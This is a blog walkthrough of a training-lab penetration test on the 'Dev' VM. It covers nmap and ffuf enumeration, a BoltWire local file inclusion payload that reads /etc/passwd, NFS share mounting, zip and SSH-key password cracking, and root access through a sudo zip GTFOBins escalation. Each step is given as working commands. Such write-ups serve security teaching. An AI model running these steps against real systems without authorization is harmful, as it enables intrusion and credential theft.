Back to Blog

Dev Machine Walkthrough

NFS Enumeration, LFI Exploitation & Privilege Escalation

Overview

This walkthrough demonstrates a complete penetration test of the Dev machine, covering multiple attack vectors including directory enumeration, Local File Inclusion (LFI), NFS mounting, password cracking, and privilege escalation through sudo abuse.

Target Machine: Dev
IP Address: 10.0.2.155
Difficulty: Medium
Skills Required: Nmap, Directory Enumeration, LFI Exploitation, NFS, fcrackzip, SSH, Sudo Exploitation

VM Download: VMs - Google Drive

Initial Setup

Dev Machine Configuration

Login credentials for the Dev VM:

Username: root
Password: tcm

After logging in, obtain an IP address:

dhclient
ip a
Dev IP Configuration

Reconnaissance

Nmap Scan

Start with an Nmap scan to identify open ports and services:

nmap -sV -sC -p- 10.0.2.155
Nmap Scan Results

Discovered Services

The scan revealed 5 open ports with the following notable services:

Web Service Enumeration

Port 80 Analysis

Visiting http://10.0.2.155 shows a Bolt CMS installation error page.

Port 80 Bolt Error

Port 8080 Analysis

Port 8080 hosts a PHP application. Let's enumerate both services using ffuf.

Port 8080 PHP Page

Directory Enumeration - Port 80

ffuf -w /usr/share/wordlists/dirb/common.txt -u http://10.0.2.155/FUZZ
Port 80 Directories

Directory Enumeration - Port 8080

ffuf -w /usr/share/wordlists/dirb/common.txt -u http://10.0.2.155:8080/FUZZ
Port 8080 Directories

Exposed Configuration Files

Browsing to http://10.0.2.155/app/ reveals exposed files and directories, including a config.yaml file.

Exposed App Directory
Important: The config.yaml file contains username and password credentials. Save these for later use.

LFI Exploitation

BoltWire Discovery

On port 8080, the /dev directory reveals a BoltWire CMS panel at http://10.0.2.155:8080/dev/

BoltWire Panel

After registering and logging in, search for "boltwire exploit" on Google.

LFI Vulnerability

BoltWire LFI Exploit

BoltWire is vulnerable to Local File Inclusion (LFI). Use the following payload in the search action parameter:

&action=../../../../../../../etc/passwd
LFI /etc/passwd

Successfully read /etc/passwd and identified user jeanpaul.

NFS Enumeration

Checking NFS Shares

Since port 2049 (NFS) is open, let's enumerate available shares:

showmount -e 10.0.2.155
NFS Showmount

Mounting NFS Share

Create a mount point and mount the /srv/nfs share:

mkdir /mnt/dev
mount -t nfs 10.0.2.155:/srv/nfs /mnt/dev
cd /mnt/dev
ls -la
Mounted NFS Files

Found a save.zip file in the mounted directory.

Password Cracking

Cracking Zip File Password

Attempting to unzip save.zip reveals it's password protected. Use fcrackzip to crack the password:

fcrackzip -D -p /usr/share/wordlists/rockyou.txt -u save.zip
fcrackzip Results
Password Found: java101

Extracting Zip Contents

unzip save.zip
Password: java101

The zip file contains:

The pieces are connecting: LFI revealed jeanpaul user, config.yaml had credentials, and now we have his SSH key!

SSH Access

Connecting via SSH

Try connecting with the id_rsa key and config.yaml password:

chmod 600 id_rsa
ssh -i id_rsa jeanpaul@10.0.2.155
SSH Login

Successfully logged in using the password from config.yaml!

Alternative: If the password doesn't work, you can crack the id_rsa passphrase using John the Ripper:
ssh2john id_rsa > id_rsa.hash
john --wordlist=/usr/share/wordlists/rockyou.txt id_rsa.hash

Privilege Escalation

Checking Sudo Privileges

Check what commands jeanpaul can run with sudo:

sudo -l
Sudo -l Output

We can run /usr/bin/zip as root without a password. This is exploitable!

GTFOBins - Zip Exploitation

Search for "gtfobins zip" on Google or visit: GTFOBins - zip

GTFOBins Zip

Exploiting Sudo Zip

Use the GTFOBins commands to spawn a root shell:

TF=$(mktemp -u)
sudo zip $TF /etc/hosts -T -TT 'sh #'

Or use the alternative command:

sudo /usr/bin/zip /tmp/test.zip /tmp/test -T --unzip-command="sh -c /bin/bash"

Root Access

Root Shell and Flag

Successfully obtained root shell!

whoami
# Output: root

cd /root
ls
cat flag.txt
Box Rooted Successfully! 🎉

Summary

Attack Chain

Key Lessons

Tools Used

Disclaimer: This walkthrough is for educational purposes only. Always obtain proper authorization before performing penetration testing on any system.
Back to Blog